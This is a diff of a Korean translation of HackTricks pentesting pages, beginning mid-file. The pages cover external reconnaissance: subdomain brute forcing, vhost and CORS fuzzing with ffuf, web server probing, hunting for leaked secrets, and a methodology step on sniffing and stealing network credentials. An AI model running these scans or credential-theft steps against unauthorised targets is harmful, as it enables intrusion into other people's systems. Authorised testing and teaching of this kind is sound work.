웹 페이지 내에서 **같은 조직의 서로 다른 웹에서 공유될 수 있는 문자열**을 검색합니다. **저작권 문자열**이 좋은 예가 될 수 있습니다. 그런 다음 **google**, 다른 **브라우저** 또는 **shodan**에서 해당 문자열을 검색합니다: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **CRT Time**
|
||||
|
||||
|
@ -204,7 +204,7 @@ If you find any **domain with an IP different** from the ones you already found
|
|||
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**버그 바운티 팁**: **가입하세요** **Intigriti**에, 해커를 위해 만들어진 프리미엄 **버그 바운티 플랫폼**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
|
||||
**버그 바운티 팁**: **가입하세요** **Intigriti**, 해커를 위해 만들어진 프리미엄 **버그 바운티 플랫폼**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -337,7 +337,7 @@ python3 censys-subdomain-finder.py tesla.com
|
|||
```bash
|
||||
python3 DomainTrail.py -d example.com
|
||||
```
|
||||
* [**securitytrails.com**](https://securitytrails.com/)은 서브도메인 및 IP 기록을 검색할 수 있는 무료 API를 제공합니다.
|
||||
* [**securitytrails.com**](https://securitytrails.com/)는 서브도메인 및 IP 기록을 검색할 수 있는 무료 API를 제공합니다.
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
이 프로젝트는 **버그 바운티 프로그램과 관련된 모든 서브도메인**을 무료로 제공합니다. 이 데이터를 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하여 접근할 수 있으며, 이 프로젝트에서 사용된 범위에 접근할 수도 있습니다: [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
@ -356,9 +356,9 @@ python3 DomainTrail.py -d example.com
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
또한 좋은 DNS 해석기의 IP도 필요합니다. 신뢰할 수 있는 DNS 해석기 목록을 생성하기 위해 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 해석기를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)를 사용할 수 있습니다.
|
||||
또한 좋은 DNS 해석기의 IP도 필요합니다. 신뢰할 수 있는 DNS 해석기 목록을 생성하기 위해 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 해석기를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는 다음을 사용할 수 있습니다: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
DNS 브루트 포스에 가장 추천되는 도구는:
|
||||
DNS 브루트 포스에 가장 추천되는 도구는 다음과 같습니다:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): 이는 효과적인 DNS 브루트 포스를 수행한 첫 번째 도구입니다. 매우 빠르지만 잘못된 긍정 반응이 발생할 수 있습니다.
|
||||
```bash
|
||||
|
@ -374,7 +374,7 @@ gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
|||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
* [**puredns**](https://github.com/d3mondev/puredns): 또한 `massdns`를 사용합니다.
|
||||
* [**puredns**](https://github.com/d3mondev/puredns): `massdns`도 사용합니다.
|
||||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
|
@ -384,9 +384,9 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
|||
```
|
||||
### 두 번째 DNS 브루트 포스 라운드
|
||||
|
||||
오픈 소스를 사용하고 브루트 포싱을 통해 서브 도메인을 찾은 후, 발견된 서브 도메인의 변형을 생성하여 더 많은 서브 도메인을 찾으려고 할 수 있습니다. 이 목적을 위해 여러 도구가 유용합니다:
|
||||
오픈 소스를 사용하고 브루트 포싱을 통해 서브도메인을 찾은 후, 발견된 서브도메인의 변형을 생성하여 더 많은 서브도메인을 찾으려고 할 수 있습니다. 이 목적을 위해 여러 도구가 유용합니다:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** 도메인과 서브 도메인을 주면 순열을 생성합니다.
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** 도메인과 서브도메인을 주면 순열을 생성합니다.
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
|
@ -395,12 +395,12 @@ cat subdomains.txt | dnsgen -
|
|||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** 도메인과 서브도메인을 기반으로 순열을 생성합니다. 순열 파일이 지정되지 않으면 gotator는 자체 파일을 사용합니다.
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** 도메인과 서브도메인을 기반으로 순열을 생성합니다. 순열 파일이 지정되지 않은 경우 gotator는 자체 파일을 사용합니다.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): 서브도메인 조합을 생성하는 것 외에도, 이를 해결하려고 시도할 수 있습니다(하지만 이전에 언급된 도구를 사용하는 것이 더 좋습니다).
|
||||
* altdns 조합 **단어 목록**은 [**여기**](https://github.com/infosec-au/altdns/blob/master/words.txt)에서 확인할 수 있습니다.
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): 서브도메인 변형을 생성하는 것 외에도, 이를 해결하려고 시도할 수 있습니다(하지만 이전에 언급된 도구를 사용하는 것이 더 좋습니다).
|
||||
* altdns 변형 **단어 목록**은 [**여기**](https://github.com/infosec-au/altdns/blob/master/words.txt)에서 얻을 수 있습니다.
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
|
@ -410,11 +410,11 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
|||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** 주어진 도메인을 기반으로 **지정된 패턴에 따라 새로운 잠재적 서브도메인 이름을 생성**하여 더 많은 서브도메인을 발견하려고 합니다.
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** 주어진 도메인을 기반으로 **지정된 패턴에 따라 새로운 잠재적 서브도메인 이름을 생성**하여 더 많은 서브도메인을 발견하려고 시도합니다.
|
||||
|
||||
#### 스마트 순열 생성
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): 자세한 내용은 이 [**게시물**](https://cramppet.github.io/regulator/index.html)를 읽어보세요. 기본적으로 **발견된 서브도메인**의 **주요 부분**을 가져와서 이를 혼합하여 더 많은 서브도메인을 찾습니다.
|
||||
* [**regulator**](https://github.com/cramppet/regulator): 더 많은 정보는 이 [**게시물**](https://cramppet.github.io/regulator/index.html)를 읽어보세요. 기본적으로 **발견된 서브도메인**의 **주요 부분**을 가져와서 이를 혼합하여 더 많은 서브도메인을 찾습니다.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
|
@ -434,11 +434,11 @@ echo www | subzuf facebook.com
|
|||
|
||||
### **VHosts / 가상 호스트**
|
||||
|
||||
서브도메인에 속하는 **하나 이상의 웹 페이지**를 포함하는 IP 주소를 찾았다면, **OSINT 소스**에서 IP에 있는 도메인을 찾아보거나 **해당 IP에서 VHost 도메인 이름을 브루트 포스**하여 **다른 서브도메인**을 찾을 수 있습니다.
|
||||
서브도메인에 속하는 **하나 이상의 웹 페이지**를 포함하는 IP 주소를 찾았다면, **OSINT 소스**에서 IP의 도메인을 찾아보거나 **해당 IP에서 VHost 도메인 이름을 브루트 포스**하여 **다른 서브도메인**을 찾을 수 있습니다.
|
||||
|
||||
#### OSINT
|
||||
|
||||
[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **또는 다른 API를 사용하여 IP에서 일부 VHosts를 찾을 수 있습니다.**
|
||||
[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **또는 기타 API를 사용하여 IP에서 일부 VHosts를 찾을 수 있습니다.**
|
||||
|
||||
**브루트 포스**
|
||||
|
||||
|
@ -462,7 +462,7 @@ VHostScan -t example.com
|
|||
|
||||
### **CORS Brute Force**
|
||||
|
||||
때때로 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때만 _**Access-Control-Allow-Origin**_ 헤더를 반환하는 페이지를 발견할 수 있습니다. 이러한 시나리오에서는 이 동작을 악용하여 **새로운** **서브도메인**을 **발견**할 수 있습니다.
|
||||
때때로 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때만 _**Access-Control-Allow-Origin**_ 헤더를 반환하는 페이지를 찾을 수 있습니다. 이러한 시나리오에서는 이 동작을 악용하여 **새로운** **서브도메인**을 **발견**할 수 있습니다.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
|
@ -473,22 +473,22 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
|
||||
### **모니터링**
|
||||
|
||||
도메인의 **새 서브도메인**이 생성되는지 **Certificate Transparency** 로그를 모니터링하여 확인할 수 있습니다. [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)가 이를 수행합니다.
|
||||
도메인의 **새로운 서브도메인**이 생성되는지 **Certificate Transparency** 로그를 모니터링하여 확인할 수 있습니다. [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)가 이를 수행합니다.
|
||||
|
||||
### **취약점 찾기**
|
||||
|
||||
가능한 [**서브도메인 탈취**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)를 확인하세요.\
|
||||
**서브도메인**이 어떤 **S3 버킷**으로 **포인팅**되고 있다면, [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
자산 탐색에서 이미 발견한 것과 다른 **IP를 가진 서브도메인**을 발견하면, **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용)과 **포트 스캔**(nmap/masscan/shodan 사용)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 "공격"하는 몇 가지 요령을 찾을 수 있습니다**.\
|
||||
자산 탐색에서 이미 발견한 것과 다른 IP를 가진 **서브도메인**을 발견하면, **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용)과 **포트 스캔**(nmap/masscan/shodan 사용)을 수행해야 합니다. 어떤 서비스가 실행되고 있는지에 따라 **이 책에서 "공격"하는 몇 가지 요령을 찾을 수 있습니다**.\
|
||||
_서브도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅되는 경우가 있으므로, 범위에 포함되지 않을 수 있습니다. 주의하세요._
|
||||
|
||||
## IPs
|
||||
|
||||
초기 단계에서 **일부 IP 범위, 도메인 및 서브도메인**을 **발견했을 수 있습니다**.\
|
||||
이제 **그 범위에서 모든 IP를 수집**하고 **도메인/서브도메인(DNS 쿼리)**에 대한 IP를 수집할 시간입니다.
|
||||
이제 **그 범위에서 모든 IP를 수집할** 시간입니다. **도메인/서브도메인(DNS 쿼리)**에 대한 IP도 포함됩니다.
|
||||
|
||||
다음 **무료 API**의 서비스를 사용하여 **도메인과 서브도메인에서 사용된 이전 IP**를 찾을 수도 있습니다. 이 IP는 여전히 클라이언트가 소유하고 있을 수 있으며, [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾는 데 도움이 될 수 있습니다.
|
||||
다음 **무료 API**의 서비스를 사용하여 **도메인 및 서브도메인에서 사용된 이전 IP**를 찾을 수 있습니다. 이 IP는 여전히 클라이언트가 소유하고 있을 수 있으며, [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾는 데 도움이 될 수 있습니다.
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
|
@ -496,7 +496,7 @@ _서브도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅
|
|||
|
||||
### **취약점 찾기**
|
||||
|
||||
**CDN에 속하지 않는 모든 IP에 대해 포트 스캔**을 수행하세요(여기서는 흥미로운 것을 찾지 못할 가능성이 높습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있을 것입니다**.
|
||||
**CDN에 속하지 않는 모든 IP에 대해 포트 스캔을 수행하세요**(여기서는 흥미로운 것을 찾지 못할 가능성이 높습니다). 발견된 실행 서비스에서 **취약점을 찾을 수 있을지도 모릅니다**.
|
||||
|
||||
**호스트 스캔 방법에 대한** [**가이드를 찾으세요**](../pentesting-network/).
|
||||
|
||||
|
@ -504,12 +504,12 @@ _서브도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅
|
|||
|
||||
> 우리는 모든 회사와 그 자산을 찾았고, 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 검색할 시간입니다.
|
||||
|
||||
이전 단계에서 이미 발견된 **IP와 도메인에 대한 일부 재콘**을 수행했을 가능성이 높으므로, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 **웹 서버를 검색하는 몇 가지 빠른 요령**을 살펴보겠습니다.
|
||||
이전 단계에서 이미 발견된 **IP 및 도메인에 대한 일부 재콘을 수행했을 가능성이 높으므로**, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 웹 서버를 검색하기 위한 **빠른 요령**을 살펴보겠습니다.
|
||||
|
||||
이것은 **웹 앱 발견**을 위한 **지향적**이므로, **취약점** 및 **포트 스캔**도 수행해야 합니다(**범위에서 허용되는 경우**).
|
||||
|
||||
**웹** 서버와 관련된 **열려 있는 포트를 발견하는 빠른 방법**은 [**masscan**를 사용하는 방법을 여기에서 찾을 수 있습니다](../pentesting-network/#http-port-discovery).\
|
||||
웹 서버를 찾기 위한 또 다른 유용한 도구는 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)입니다. 도메인 목록을 전달하면 포트 80(http) 및 443(https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지정할 수 있습니다:
|
||||
[**masscan**을 사용하여 **웹** 서버와 관련된 **열려 있는 포트를 발견하는 빠른 방법**은 여기에서 찾을 수 있습니다](../pentesting-network/#http-port-discovery).\
|
||||
웹 서버를 찾기 위한 또 다른 유용한 도구는 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)입니다. 도메인 목록을 전달하면 포트 80 (http) 및 443 (https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지정할 수 있습니다:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
|
@ -540,7 +540,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
### **취약점 찾기**
|
||||
|
||||
**열린 버킷이나 노출된 클라우드 기능**과 같은 것을 발견하면 **접속하여** 그들이 제공하는 것이 무엇인지, 그리고 이를 악용할 수 있는지 확인해야 합니다.
|
||||
**열린 버킷이나 노출된 클라우드 기능**과 같은 것을 발견하면 **접속하여** 제공하는 내용을 확인하고 이를 악용할 수 있는지 확인해야 합니다.
|
||||
|
||||
## 이메일
|
||||
|
||||
|
@ -573,7 +573,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
### 깃허브 유출
|
||||
|
||||
자격 증명 및 API는 **회사의 공개 리포지토리** 또는 해당 깃허브 회사에서 일하는 **사용자**의 공개 리포지토리에 유출될 수 있습니다.\
|
||||
**Leakos**라는 **도구**를 사용하여 **조직** 및 그 **개발자**의 모든 **공개 리포**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다.
|
||||
**Leakos**라는 **도구**를 사용하여 **조직** 및 그 **개발자**의 모든 **공개 리포지토리**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다.
|
||||
|
||||
**Leakos**는 또한 제공된 **URL**에 대해 **gitleaks**를 실행하는 데 사용할 수 있으며, 때때로 **웹 페이지에도 비밀이 포함되어 있습니다**.
|
||||
|
||||
|
@ -585,16 +585,16 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Paste 유출
|
||||
### 페이스트 유출
|
||||
|
||||
때때로 공격자나 단순한 직원이 **회사 콘텐츠를 paste 사이트에 게시**합니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색할 가치가 있습니다.\
|
||||
[**Pastos**](https://github.com/carlospolop/Pastos)라는 도구를 사용하여 동시에 80개 이상의 paste 사이트에서 검색할 수 있습니다.
|
||||
때때로 공격자나 단순한 직원이 **회사 콘텐츠를 페이스트 사이트에 게시**합니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색할 가치가 있습니다.\
|
||||
[**Pastos**](https://github.com/carlospolop/Pastos)라는 도구를 사용하여 동시에 80개 이상의 페이스트 사이트에서 검색할 수 있습니다.
|
||||
|
||||
### 구글 도크
|
||||
|
||||
오래되었지만 여전히 유용한 구글 도크는 **거기에 있어서는 안 되는 노출된 정보를 찾는 데 항상 유용합니다**. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 **도구를 사용하여 모두 실행할 수 있습니다**.
|
||||
오래되었지만 여전히 유용한 구글 도크는 **거기에 있어서는 안 되는 노출된 정보를 찾는 데 항상 유용합니다**. 유일한 문제는 [**구글 해킹 데이터베이스**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 **도구를 사용하여 모두 실행할 수 있습니다**.
|
||||
|
||||
_정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 실행하려는 도구는 매우 빨리 Google에 의해 차단되므로 결코 끝나지 않을 것입니다._
|
||||
_정기적인 구글 브라우저를 사용하여 모든 데이터베이스를 실행하려는 도구는 매우 빨리 구글에 의해 차단되므로 결코 끝나지 않을 것입니다._
|
||||
|
||||
### **취약점 찾기**
|
||||
|
||||
|
@ -618,20 +618,20 @@ _정기적인 Google 브라우저를 사용하여 모든 데이터베이스를
|
|||
|
||||
**버그 헌터**가 발견한 **대부분의 취약점**은 **웹 애플리케이션** 내에 존재하므로, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 싶습니다. [**여기에서 이 정보를 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾는 데 기대하지 말아야 하지만, **초기 웹 정보를 얻기 위한 워크플로우에 구현하는 데 유용합니다**.
|
||||
또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾을 것으로 기대하지 말아야 하지만, **초기 웹 정보를 얻기 위한 워크플로우에 유용하게 사용됩니다.**
|
||||
|
||||
## 요약
|
||||
|
||||
> 축하합니다! 이 시점에서 **모든 기본 열거 작업**을 수행했습니다. 네, 기본적입니다. 더 많은 열거 작업이 가능하므로 (나중에 더 많은 트릭을 볼 것입니다).
|
||||
> 축하합니다! 이 시점에서 **모든 기본 열거 작업**을 수행했습니다. 네, 기본적입니다. 더 많은 열거 작업이 가능하니까요 (나중에 더 많은 트릭을 볼 것입니다).
|
||||
|
||||
따라서 이미 다음을 수행했습니다:
|
||||
|
||||
1. 범위 내의 모든 **회사**를 찾았습니다.
|
||||
2. 회사에 속하는 모든 **자산**을 찾았습니다 (범위 내에서 일부 취약점 스캔 수행).
|
||||
2. 회사에 속하는 모든 **자산**을 찾았습니다 (범위 내에서 취약점 스캔 수행).
|
||||
3. 회사에 속하는 모든 **도메인**을 찾았습니다.
|
||||
4. 도메인의 모든 **서브도메인**을 찾았습니다 (서브도메인 탈취 가능성은 있나요?).
|
||||
4. 도메인의 모든 **서브도메인**을 찾았습니다 (서브도메인 탈취 가능성은?).
|
||||
5. 범위 내의 모든 **IP**를 찾았습니다 (CDN에서 온 것과 아닌 것).
|
||||
6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다 (더 깊이 살펴볼 가치가 있는 이상한 점이 있나요?).
|
||||
6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다 (더 깊이 살펴볼 가치가 있는 이상한 점은?).
|
||||
7. 회사에 속하는 모든 **잠재적 공개 클라우드 자산**을 찾았습니다.
|
||||
8. **이메일**, **자격 증명 유출**, 및 **비밀 유출**로 인해 **매우 쉽게 큰 승리를 얻을 수 있습니다**.
|
||||
9. 발견한 모든 웹을 **펜테스팅**했습니다.
|
||||
|
@ -647,17 +647,17 @@ _정기적인 Google 브라우저를 사용하여 모든 데이터베이스를
|
|||
|
||||
## **참고 문헌**
|
||||
|
||||
* [**@Jhaddix**](https://twitter.com/Jhaddix)의 모든 무료 과정, 예를 들어 [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
* [**@Jhaddix**](https://twitter.com/Jhaddix)의 모든 무료 강좌, 예를 들어 [**버그 헌터의 방법론 v4.0 - 재콘 에디션**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집하고 있습니다!** (_유창한 폴란드어 필기 및 구사 필요_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우고 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -665,7 +665,7 @@ GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ GCP 해킹 배우기 및 연습하기: <img src="../.gitbook/assets/grte.png" al
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
|
@ -42,7 +42,7 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
### **2-** [**네트워크와 함께 즐기기**](pentesting-network/) **(내부)**
|
||||
|
||||
**이 섹션은 내부 테스트를 수행하는 경우에만 적용됩니다.**\
|
||||
호스트를 공격하기 전에 **네트워크에서 자격 증명을 훔치거나** **데이터를 스니핑**하여 **수동/능동적으로(MitM)** 네트워크 내에서 무엇을 찾을 수 있는지 알아보는 것이 좋습니다. [**Pentesting Network**](pentesting-network/#sniffing)를 읽어보세요.
|
||||
호스트를 공격하기 전에 **네트워크에서 일부 자격 증명을 훔치거나** **데이터를 스니핑**하여 **수동/능동적으로(MitM)** 네트워크 내에서 무엇을 찾을 수 있는지 알아보는 것이 좋습니다. [**Pentesting Network**](pentesting-network/#sniffing)를 읽어보세요.
|
||||
|
||||
### 3- [포트 스캔 - 서비스 발견](pentesting-network/#scanning-hosts)
|
||||
|
||||
|
@ -59,25 +59,25 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
**이 책에서는 가장 일반적인 서비스에 대한 펜테스트 가이드를 찾을 수 있습니다** (그리고 그렇게 일반적이지 않은 서비스도 포함되어 있습니다). 왼쪽 인덱스에서 **_**PENTESTING**_ **섹션을 검색하세요** (서비스는 기본 포트에 따라 정렬되어 있습니다).
|
||||
|
||||
**특히** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 특별히 언급하고 싶습니다 (가장 방대하기 때문입니다).**\
|
||||
또한, [**소프트웨어에서 알려진 취약점을 찾는 방법**](search-exploits.md)에 대한 작은 가이드를 여기에서 찾을 수 있습니다.
|
||||
또한 [**소프트웨어에서 알려진 취약점을 찾는 방법**](search-exploits.md)에 대한 작은 가이드를 여기에서 찾을 수 있습니다.
|
||||
|
||||
**서비스가 인덱스에 없다면, Google에서 다른 튜토리얼을 검색하세요** 그리고 **추가해 달라고 알려주세요.** Google에서 **아무것도 찾을 수 없다면**, **자신의 블라인드 펜테스트를 수행하세요**, **서비스에 연결하고, 퍼징하고, 응답을 읽는 것**(있다면)으로 시작할 수 있습니다.
|
||||
**목록에 서비스가 없다면, Google에서 다른 튜토리얼을 검색하고** 추가해 달라고 알려주세요. Google에서 **아무것도 찾을 수 없다면**, **자신의 블라인드 펜테스트를 수행하세요**, **서비스에 연결하고, 퍼징하고, 응답을 읽는 것**(있다면)으로 시작할 수 있습니다.
|
||||
|
||||
#### 5.1 자동 도구
|
||||
|
||||
**자동 취약점 평가**를 수행할 수 있는 여러 도구도 있습니다. **[**Legion**](https://github.com/carlospolop/legion)**을 시도해 보기를 권장합니다. 이 도구는 제가 만든 도구로, 이 책에서 찾을 수 있는 서비스에 대한 펜테스트 노트를 기반으로 합니다.**
|
||||
|
||||
#### **5.2- 서비스 브루트 포스**
|
||||
#### **5.2- 서비스 브루트 포싱**
|
||||
|
||||
